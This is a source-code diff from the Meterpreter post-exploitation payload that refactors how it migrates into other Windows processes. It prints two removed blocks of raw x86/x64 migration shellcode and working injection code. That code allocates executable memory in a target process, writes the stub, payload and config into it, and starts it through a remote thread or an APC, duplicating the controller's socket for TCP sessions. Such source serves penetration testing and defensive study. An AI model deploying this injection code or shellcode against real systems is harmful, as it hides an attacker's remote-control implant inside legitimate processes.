diff --git a/c/meterpreter/source/common/arch/posix/base_dispatch.c b/c/meterpreter/source/common/arch/posix/base_dispatch.c index 6db3ce0c..6471deca 100644 --- a/c/meterpreter/source/common/arch/posix/base_dispatch.c +++ b/c/meterpreter/source/common/arch/posix/base_dispatch.c @@ -31,7 +31,7 @@ remote_request_core_migrate(Remote *remote, Packet *packet) // Get the target process architecture to inject into l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the library buffer - l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); + l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration library buffer l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get the library entry point diff --git a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c b/c/meterpreter/source/common/arch/win/i386/base_dispatch.c index 0ce8d9ba..61a96d8c 100755 --- a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c +++ b/c/meterpreter/source/common/arch/win/i386/base_dispatch.c @@ -2,63 +2,19 @@ #include "base_inject.h" #include "../../../config.h" -// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm' -BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00" - "\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B" - "\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" - "\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C" - "\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B" - "\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0" - "\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24" - "\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01" - "\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51" - "\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68" - "\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00" - "\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E" - "\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF" - "\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; - -// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm' -BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8" - "\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48" - "\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48" - "\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" - "\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52" - "\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B" - "\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48" - "\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34" - "\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41" - "\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8" - "\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40" - "\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E" - "\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0" - "\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77" - "\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0" - "\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07" - "\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5" - "\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02" - "\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41" - "\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; - -// We force 64bit algnment for HANDLES and POINTERS in order -// to be cross compatable between x86 and x64 migration. -typedef struct _MIGRATECONTEXT +DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer) { - union + *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT)); + + if (*contextBuffer == NULL) { - HANDLE hEvent; - BYTE bPadding1[8]; - } e; + return ERROR_OUTOFMEMORY; + } - union - { - LPBYTE lpPayload; - BYTE bPadding2[8]; - } p; + *contextSize = sizeof(COMMONMIGRATCONTEXT); - WSAPROTOCOL_INFO info; - -} MIGRATECONTEXT, * LPMIGRATECONTEXT; + return ERROR_SUCCESS; +} DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { @@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; - MIGRATECONTEXT ctx = { 0 }; + LPCOMMONMIGRATECONTEXT ctx = NULL; + DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; @@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer - dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); + dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); @@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); + // Get the migrate stub information + dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); + lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); + dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... @@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); - if (config->session.comms_fd) + if (remote->transport->get_migrate_context != NULL) { - // Duplicate the socket for the target process if we are SSL based - if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) - { - BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") - } + dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); + } + else + { + dwResult = get_migrate_context(&ctxSize, &ctx); + } + + if (dwResult != ERROR_SUCCESS) + { + dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); + break; } // Create a notification event that we'll use to know when it's safe to exit @@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { - BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") + BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process - if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { - BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") + BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } - // Get the architecture specific process migration stub... - if (dwDestinationArch == PROCESS_ARCH_X86) - { - lpMigrateStub = (LPVOID)&migrate_stub_x86; - dwMigrateStubLength = sizeof(migrate_stub_x86); - } - else if (dwDestinationArch == PROCESS_ARCH_X64) - { - lpMigrateStub = (LPVOID)&migrate_stub_x64; - dwMigrateStubLength = sizeof(migrate_stub_x64); - } - else - { - SetLastError(ERROR_BAD_ENVIRONMENT); - dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); - break; - } + dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block - lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { - BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") + BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... - ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); + ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... - dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); - if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) + dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); + if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... - dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); - if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) + dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub - dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); - if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) + dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } + free(ctx); + // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { @@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { - BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } diff --git a/c/meterpreter/source/common/config.h b/c/meterpreter/source/common/config.h index 2b5277d0..da1547f1 100755 --- a/c/meterpreter/source/common/config.h +++ b/c/meterpreter/source/common/config.h @@ -75,4 +75,21 @@ typedef struct _MetsrvConfig // \x00 } MetsrvConfig; +// We force 64bit alignment for HANDLES and POINTERS in order +// to be cross compatible between x86 and x64 migration. +typedef struct _COMMONMIGRATECONTEXT +{ + union + { + HANDLE hEvent; + BYTE bPadding1[8]; + } e; + + union + { + LPBYTE lpPayload; + BYTE bPadding2[8]; + } p; +} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT; + #endif diff --git a/c/meterpreter/source/common/core.h b/c/meterpreter/source/common/core.h index af976f3f..db1557a6 100755 --- a/c/meterpreter/source/common/core.h +++ b/c/meterpreter/source/common/core.h @@ -136,13 +136,15 @@ typedef enum TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). - TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). + TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) + TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint). + TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string). // Transport switching TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/remote.h index 021a1e20..d18eac18 100755 --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/remote.h @@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); typedef BOOL(*PTransportInit)(Transport* transport); typedef BOOL(*PTransportDeinit)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport); +typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); @@ -242,6 +243,7 @@ typedef struct _Transport PTransportDestroy transport_destroy; ///! Destroy the transport. PServerDispatch server_dispatch; ///! Transport dispatch function. PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. + PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. STRTYPE url; ///! Full URL describing the comms in use. VOID* ctx; ///! Pointer to the type-specific transport context; TimeoutSettings timeouts; ///! Container for the timeout settings. diff --git a/c/meterpreter/source/server/win/server_transport_tcp.c b/c/meterpreter/source/server/win/server_transport_tcp.c index d96db213..917535a4 100755 --- a/c/meterpreter/source/server/win/server_transport_tcp.c +++ b/c/meterpreter/source/server/win/server_transport_tcp.c @@ -5,6 +5,13 @@ #include "../../common/common.h" #include +// TCP-transport specific migration stub. +typedef struct _TCPMIGRATECONTEXT +{ + COMMONMIGRATCONTEXT common; + WSAPROTOCOL_INFOA info; +} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; + // These fields aren't defined unless the SDK version is set to something old enough. // So we define them here instead of dancing with SDK versions, allowing us to move on // and still support older versions of Windows. @@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config } } +/*! + * @brief Create a migration context that is specific to this transport type. + * @param transport Transport data to create the configuration from. + * @param targetProcessId ID of the process that we will be migrating into. + * @param targetProcessHandle Handle to the target process. + * @param contextSize Buffer that will receive the size of the generated context. + * @param contextBufer Buffer that will receive the generated context. + * @return Indication of success or failure. + */ +static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer) +{ + LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT)); + + if (ctx == NULL) + { + return ERROR_OUTOFMEMORY; + } + + // Duplicate the socket for the target process if we are SSL based + if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + { + free(ctx); + return WSAGetLastError(); + } + + *contextSize = sizeof(TCPMIGRATECONTEXT); + *contextBuffer = (PBYTE)ctx; + + return ERROR_SUCCESS; +} + /*! * @brief Creates a new TCP transport instance. * @param config The TCP configuration block. @@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config) transport->get_socket = transport_get_socket_tcp; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); + transport->get_migrate_context = get_migrate_context_tcp; return transport; }